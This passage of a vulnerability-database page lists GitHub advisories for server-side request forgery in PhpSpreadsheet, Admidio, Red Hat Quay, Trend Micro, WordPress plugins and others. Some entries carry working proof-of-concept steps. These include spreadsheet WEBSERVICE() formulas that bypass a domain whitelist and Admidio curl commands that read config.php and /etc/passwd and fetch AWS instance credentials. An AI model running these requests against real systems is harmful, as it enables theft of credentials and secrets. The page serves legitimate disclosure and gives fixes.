\u2014 BLOCKED by whitelist\n=WEBSERVICE(\"http://127.0.0.1:9090/internal-api/secrets\")\n\u2192 Result: null (blocked)\n\n# Test 2: Via redirect from whitelisted domain \u2014 BYPASS\n=WEBSERVICE(\"http://trusted-api.example.com:7071/redirect-to-internal\")\n\u2192 Result: {\"ssrf\":\"CONFIRMED\",\"secret\":\"internal-api-key-LATEST\",\"server\":\"Linux ...\"}\n```\n\nConfirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).\n\n### Impact\n\nAn attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can:\n\n- **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets\n- **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/`\n- **Access internal services** not exposed to the internet\n- **Port-scan internal networks** via any whitelisted hostname (port is not validated)\n\nThis is a full-read SSRF \u2014 the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell\u0027s calculated value.\n\n**Attack scenarios:**\n- Whitelisted domain has an open redirect vulnerability\n- Attacker controls the whitelisted domain (e.g., a free-tier API service)\n- DNS rebinding after the whitelist check\n\n### Suggested Fix\n\nDisable redirect following in the stream context:\n\n```php\n$ctxArray = [\n \u0027http\u0027 =\u003e [\n \u0027user_agent\u0027 =\u003e \u0027...\u0027,\n \u0027follow_location\u0027 =\u003e false,\n \u0027max_redirects\u0027 =\u003e 0,\n ],\n];\n```\n\nAlternatively, if redirects must be supported, implement manual redirect following that re-validates each hop\u0027s hostname against the domain whitelist.\n\nAdditionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.\n\n### Related\n\nThis vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions \u003c 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.\n\nExisting SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.\n\n---",
"id": "GHSA-6hq5-7373-42rg",
"modified": "2026-07-23T14:55:48Z",
"published": "2026-07-23T14:55:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"
},
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist"
}
GHSA-6HX5-9Q4P-P96W
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-05-24 17:41A server-side request forgery (SSRF) information disclosure vulnerability in Trend Micro OfficeScan XG SP1 and Worry-Free Business Security 10.0 SP1 could allow an unauthenticated user to locate online agents via a specific sweep.
{
"affected": [],
"aliases": [
"CVE-2021-25236"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-04T20:15:00Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery (SSRF) information disclosure vulnerability in Trend Micro OfficeScan XG SP1 and Worry-Free Business Security 10.0 SP1 could allow an unauthenticated user to locate online agents via a specific sweep.",
"id": "GHSA-6hx5-9q4p-p96w",
"modified": "2022-05-24T17:41:07Z",
"published": "2022-05-24T17:41:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25236"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000284205"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000284206"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-120"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6J35-XV72-GPPJ
Vulnerability from github – Published: 2023-07-19 03:30 – Updated: 2024-04-04 06:16IBM Sterling Connect:Express for UNIX 1.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 252135.
{
"affected": [],
"aliases": [
"CVE-2023-29260"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-19T02:15:09Z",
"severity": "MODERATE"
},
"details": "IBM Sterling Connect:Express for UNIX 1.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 252135.",
"id": "GHSA-6j35-xv72-gppj",
"modified": "2024-04-04T06:16:48Z",
"published": "2023-07-19T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29260"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/252135"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7010923"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6J3Q-G2MV-78P6
Vulnerability from github – Published: 2025-10-12 15:30 – Updated: 2025-10-12 15:30A security vulnerability has been detected in Tomofun Furbo 360 up to FB0035_FW_036. This issue affects some unknown processing of the component Account Handler. Such manipulation leads to server-side request forgery. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-11636"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-12T15:15:59Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in Tomofun Furbo 360 up to FB0035_FW_036. This issue affects some unknown processing of the component Account Handler. Such manipulation leads to server-side request forgery. The attack can be executed remotely. This attack is characterized by high complexity. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-6j3q-g2mv-78p6",
"modified": "2025-10-12T15:30:16Z",
"published": "2025-10-12T15:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11636"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.328047"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.328047"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.661361"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6J48-GGFG-8XW2
Vulnerability from github – Published: 2026-09-20 21:31 – Updated: 2026-09-20 21:31A vulnerability was found in 0717376 cowork_bench up to d943e75bc0fc8e3b27141979300cd8cbcd1e890d. Affected by this vulnerability is the function ControlFlowNode of the file local_servers/pdf-tools-mcp/pdf_tools_mcp/server.py of the component pdf-tools-mcp. Performing a manipulation of the argument pdf_file_path results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-94051"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-20T21:16:55Z",
"severity": "LOW"
},
"details": "A vulnerability was found in 0717376 cowork_bench up to d943e75bc0fc8e3b27141979300cd8cbcd1e890d. Affected by this vulnerability is the function ControlFlowNode of the file local_servers/pdf-tools-mcp/pdf_tools_mcp/server.py of the component pdf-tools-mcp. Performing a manipulation of the argument pdf_file_path results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-6j48-ggfg-8xw2",
"modified": "2026-09-20T21:31:35Z",
"published": "2026-09-20T21:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94051"
},
{
"type": "WEB",
"url": "https://github.com/0717376/cowork_bench/issues/1"
},
{
"type": "WEB",
"url": "https://github.com/Xh1Xxhg/public_exp/issues/7"
},
{
"type": "WEB",
"url": "https://github.com/0717376/cowork_bench"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-94051"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/949604"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/407980"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/407980/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6J68-GCC3-MQ73
Vulnerability from github – Published: 2026-03-16 21:17 – Updated: 2026-03-20 21:19Summary
The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.
Details
Vulnerable Code
File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
http_response_code(400);
echo "Invalid URL";
exit;
}
// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
http_response_code(500);
echo "Failed to fetch metadata";
exit;
}
echo $metadata;
FILTER_VALIDATE_URL Does Not Block Dangerous Schemes
PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():
| Scheme | Impact |
|---|---|
file:///etc/passwd |
Read any local file the web server process can access |
http://127.0.0.1/ |
SSRF to localhost services (databases, admin panels, internal APIs) |
http://169.254.169.254/latest/meta-data/ |
AWS EC2 instance metadata (IAM credentials) |
data://text/plain,payload |
Data URI content injection |
Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:
php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd" <-- passes validation
php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash <-- file contents returned
file:// Does Not Require allow_url_fopen
PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.
Response Is Returned Verbatim
The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.
PoC
Prerequisites: Administrator account session cookie and CSRF token.
Step 1: Read the Admidio database configuration file
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=file:///var/www/html/adm_my_files/config.php"
Expected response: Full contents of config.php including the database host, username, and password in plaintext.
Step 2: Read system password file
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=file:///etc/passwd"
Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Expected response: IAM role name followed by temporary AWS access key and secret.
Step 4: SSRF to an internal service on localhost
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=http://127.0.0.1:6379/"
(Probes a Redis instance on localhost.)
Impact
- Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's
config.php(database credentials),/etc/passwd, private keys stored in the web root, and.envfiles. - Database Credential Theft: Reading
config.phpexposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls. - Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
- Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
- Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.
Recommended Fix
Fix 1: Restrict to HTTPS scheme and block internal IP ranges
$rawUrl = $_GET['url'] ?? '';
// Only allow https:// scheme
if (\!preg_match('#^https://#i', $rawUrl)) {
http_response_code(400);
echo "Only HTTPS URLs are permitted";
exit;
}
$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
http_response_code(400);
echo "Invalid URL";
exit;
}
// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
http_response_code(400);
echo "URL resolves to a private or reserved IP address";
exit;
}
$metadata = file_get_contents($url);
Fix 2: Use cURL with explicit scheme restriction
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);
Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.6"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32812"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T21:17:57Z",
"nvd_published_at": "2026-03-20T02:16:35Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe SSO metadata fetch endpoint at `modules/sso/fetch_metadata.php` accepts an arbitrary URL via `$_GET[\u0027url\u0027]`, validates it only with PHP\u0027s `FILTER_VALIDATE_URL`, and passes it directly to `file_get_contents()`. `FILTER_VALIDATE_URL` accepts `file://`, `http://`, `ftp://`, `data://`, and `php://` scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the `file://` wrapper (Local File Read), reach internal services via `http://` (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.\n\n## Details\n\n### Vulnerable Code\n\nFile: `D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php`, lines 9-34\n\n```php\n$url = filter_var($_GET[\u0027url\u0027], FILTER_VALIDATE_URL);\nif (!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Fetch metadata from external server\n$metadata = file_get_contents($url);\nif ($metadata === false) {\n http_response_code(500);\n echo \"Failed to fetch metadata\";\n exit;\n}\n\necho $metadata;\n```\n\n### FILTER_VALIDATE_URL Does Not Block Dangerous Schemes\n\nPHP\u0027s `FILTER_VALIDATE_URL` is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by `file_get_contents()`:\n\n| Scheme | Impact |\n|--------|--------|\n| `file:///etc/passwd` | Read any local file the web server process can access |\n| `http://127.0.0.1/` | SSRF to localhost services (databases, admin panels, internal APIs) |\n| `http://169.254.169.254/latest/meta-data/` | AWS EC2 instance metadata (IAM credentials) |\n| `data://text/plain,payload` | Data URI content injection |\n\nConfirmed by testing PHP\u0027s filter_var() and file_get_contents() with all of the above:\n\n```\nphp -r \"var_dump(filter_var(\u0027file:///etc/passwd\u0027, FILTER_VALIDATE_URL));\"\n// string(18) \"file:///etc/passwd\" \u003c-- passes validation\n\nphp -r \"echo file_get_contents(\u0027file:///etc/passwd\u0027);\"\n// root:x:0:0:root:/root:/bin/bash \u003c-- file contents returned\n```\n\n### file:// Does Not Require allow_url_fopen\n\nPHP\u0027s `file://` stream wrapper is the native filesystem handler and is always available regardless of the `allow_url_fopen` INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.\n\n### Response Is Returned Verbatim\n\nThe fetched content is echoed directly at line 34 (`echo $metadata`), making the complete contents of any readable local file or internal service response available to the caller.\n\n## PoC\n\n**Prerequisites:** Administrator account session cookie and CSRF token.\n\n**Step 1: Read the Admidio database configuration file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=file:///var/www/html/adm_my_files/config.php\"\n```\n\nExpected response: Full contents of config.php including the database host, username, and password in plaintext.\n\n**Step 2: Read system password file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=file:///etc/passwd\"\n```\n\n**Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\nExpected response: IAM role name followed by temporary AWS access key and secret.\n\n**Step 4: SSRF to an internal service on localhost**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=http://127.0.0.1:6379/\"\n```\n\n(Probes a Redis instance on localhost.)\n\n## Impact\n\n- **Local File Read:** The attacker can read any file accessible to the PHP web server process, including Admidio\u0027s `config.php` (database credentials), `/etc/passwd`, private keys stored in the web root, and `.env` files.\n- **Database Credential Theft:** Reading `config.php` exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.\n- **Cloud Metadata Exposure:** On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.\n- **Internal Network Reconnaissance:** The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.\n- **Scope Change:** Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.\n\n## Recommended Fix\n\n### Fix 1: Restrict to HTTPS scheme and block internal IP ranges\n\n```php\n$rawUrl = $_GET[\u0027url\u0027] ?? \u0027\u0027;\n\n// Only allow https:// scheme\nif (\\!preg_match(\u0027#^https://#i\u0027, $rawUrl)) {\n http_response_code(400);\n echo \"Only HTTPS URLs are permitted\";\n exit;\n}\n\n$url = filter_var($rawUrl, FILTER_VALIDATE_URL);\nif (\\!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Resolve hostname and block internal/private IP ranges\n$host = parse_url($url, PHP_URL_HOST);\n$ip = gethostbyname($host);\nif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n http_response_code(400);\n echo \"URL resolves to a private or reserved IP address\";\n exit;\n}\n\n$metadata = file_get_contents($url);\n```\n\n### Fix 2: Use cURL with explicit scheme restriction\n\n```php\n$ch = curl_init($url);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\ncurl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\ncurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n$metadata = curl_exec($ch);\ncurl_close($ch);\n```\n\nNote: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.",
"id": "GHSA-6j68-gcc3-mq73",
"modified": "2026-03-20T21:19:19Z",
"published": "2026-03-16T21:17:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32812"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint"
}
GHSA-6J6H-VFWH-MXGX
Vulnerability from github – Published: 2026-07-24 09:32 – Updated: 2026-07-24 09:32A flaw was found in Red Hat Quay's notification webhook feature. The Slack and generic webhook notification handlers accept user-supplied URLs without SSRF validation, allowing a repository administrator to make the Quay worker issue POST requests to internal network addresses or cloud infrastructure endpoints that should not be reachable from the application.
{
"affected": [],
"aliases": [
"CVE-2026-16910"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-24T08:16:26Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Red Hat Quay\u0027s notification webhook feature. The Slack and generic webhook notification handlers accept user-supplied URLs without SSRF validation, allowing a repository administrator to make the Quay worker issue POST requests to internal network addresses or cloud infrastructure endpoints that should not be reachable from the application.",
"id": "GHSA-6j6h-vfwh-mxgx",
"modified": "2026-07-24T09:32:15Z",
"published": "2026-07-24T09:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16910"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-16910"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506685"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6J8P-3593-JQMG
Vulnerability from github – Published: 2025-11-27 12:30 – Updated: 2025-11-27 12:30The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.0 via the ays_chatgpt_pinecone_upsert function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-13378"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-27T10:15:50Z",
"severity": "MODERATE"
},
"details": "The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.0 via the ays_chatgpt_pinecone_upsert function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-6j8p-3593-jqmg",
"modified": "2025-11-27T12:30:28Z",
"published": "2025-11-27T12:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13378"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/tags/2.6.9/admin/class-chatgpt-assistant-admin.php#L3483"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/trunk/admin/class-chatgpt-assistant-admin.php#L3483"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/trunk/includes/class-chatgpt-assistant.php#L222"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3402237/ays-chatgpt-assistant/tags/2.7.1/admin/class-chatgpt-assistant-admin.php?old=3382650\u0026old_path=ays-chatgpt-assistant%2Ftags%2F2.6.9%2Fadmin%2Fclass-chatgpt-assistant-admin.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/293ad145-dc93-4d7a-83ba-78f8c730ed6d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6JH8-HGQ7-7VXP
Vulnerability from github – Published: 2024-08-17 09:30 – Updated: 2024-08-17 09:30The Skitter Slideshow plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.2 via the /image.php file. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2022-1751"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-17T08:15:04Z",
"severity": "HIGH"
},
"details": "The Skitter Slideshow plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.5.2 via the /image.php file. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-6jh8-hgq7-7vxp",
"modified": "2024-08-17T09:30:23Z",
"published": "2024-08-17T09:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1751"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-skitter-slideshow/trunk/image.php"
},
{
"type": "WEB",
"url": "https://securityforeveryone.com/blog/wordpress-skitter-slideshow-ssrf-0-day-vulnerability-cve-2022-1751"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/175eba7e-454b-4ba3-bbb5-22bd56734f5c?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.